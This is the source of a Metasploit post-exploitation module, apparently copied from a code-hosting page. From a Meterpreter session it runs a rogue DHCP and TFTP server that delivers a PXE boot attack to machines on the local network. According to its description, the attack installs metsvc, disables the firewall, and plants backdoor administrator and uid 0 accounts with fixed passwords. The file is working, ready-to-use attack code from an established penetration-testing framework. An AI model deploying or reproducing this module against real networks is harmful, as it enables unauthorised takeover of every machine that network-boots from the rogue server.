Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Post
7
  include Msf::Auxiliary::Report
8

9
  def initialize
10
    super(
11
      'Name' => 'Windows Manage PXE Exploit Server',
12
      'Description' => %q{
13
        This module provides a PXE server, running a DHCP and TFTP server.
14
        The default configuration loads a linux kernel and initrd into memory that
15
        reads the hard drive; placing a payload to install metsvc, disable the
16
        firewall, and add a new user metasploit on any Windows partition seen,
17
        and add a uid 0 user with username and password metasploit to any linux
18
        partition seen. The windows user will have the password p@SSw0rd!123456
19
        (in case of complexity requirements) and will be added to the administrators
20
        group.
21

22
        See exploit/windows/misc/pxesploit for a version to deliver a specific payload.
23

24
        Note: the displayed IP address of a target is the address this DHCP server
25
        handed out, not the "normal" IP address the host uses.
26
      },
27
      'Author' => [ 'scriptjunkie' ],
28
      'License' => MSF_LICENSE,
29
      'Platform' => [ 'win' ],
30
      'SessionTypes' => [ 'meterpreter' ],
31
      'Compat' => {
32
        'Meterpreter' => {
33
          'Commands' => %w[
34
            lanattacks_add_tftp_file
35
            lanattacks_dhcp_log
36
            lanattacks_reset_dhcp
37
            lanattacks_set_dhcp_option
38
            lanattacks_start_dhcp
39
            lanattacks_start_tftp
40
            lanattacks_stop_dhcp
41
            lanattacks_stop_tftp
42
          ]
43
        }
44
      }
45
    )
46

47
    register_advanced_options(
48
      [
49
        OptString.new('TFTPROOT', [
50
          false, 'The TFTP root directory to serve files from',
51
          File.join(Msf::Config.data_directory, 'exploits', 'pxexploit')
52
        ]),
53
        OptString.new('SRVHOST', [ false, 'The IP of the DHCP server' ]),
54
        OptString.new('NETMASK', [ false, 'The netmask of the local subnet', '255.255.255.0' ]),
55
        OptBool.new('RESETPXE', [ true, 'Resets the server to re-exploit already targeted hosts', false ]),
56
        OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]),
57
        OptString.new('DHCPIPEND', [ false, 'The last IP to give out' ])
58
      ]
59
    )
60
  end
61

62
  def run
63
    if !client.lanattacks
64
      print_status('Loading lanattacks extension...')
65
      client.core.use('lanattacks')
66
    elsif datastore['RESETPXE']
67
      print_status('Resetting PXE attack...')
68
      client.lanattacks.dhcp.reset
69
    end
70

71
    # Not setting these options (using autodetect)
72
    print_status('Loading DHCP options...')
73
    client.lanattacks.dhcp.load_options(datastore)
74

75
    0.upto(4) do |i|
76
      print_status("Loading file #{i + 1} of 5")
77
      contents = File.binread(::File.join(datastore['TFTPROOT'], "update#{i}"))
78
      client.lanattacks.tftp.add_file("update#{i}", contents)
79
    end
80
    print_status('Starting TFTP server...')
81
    client.lanattacks.tftp.start
82
    print_status('Starting DHCP server...')
83
    client.lanattacks.dhcp.start
84
    print_status('PXEsploit attack started')
85
    loop do
86
      # get stats every 20s
87
      select(nil, nil, nil, 20)
88
      client.lanattacks.dhcp.log.each do |item|
89
        print_status("Served PXE attack to #{item[0].unpack('H2H2H2H2H2H2').join(':')} " \
90
            "(#{Rex::Socket.addr_ntoa(item[1])})")
91
        report_note({
92
          type: 'PXE.client',
93
          data: item[0].unpack('H2H2H2H2H2H2').join(':')
94
        })
95
      end
96
    rescue ::Interrupt
97
      print_status('Stopping TFTP server...')
98
      client.lanattacks.tftp.stop
99
      print_status('Stopping DHCP server...')
100
      client.lanattacks.dhcp.stop
101
      print_status('PXEsploit attack stopped')
102
      return
103
    end
104
  end
105
end
106

107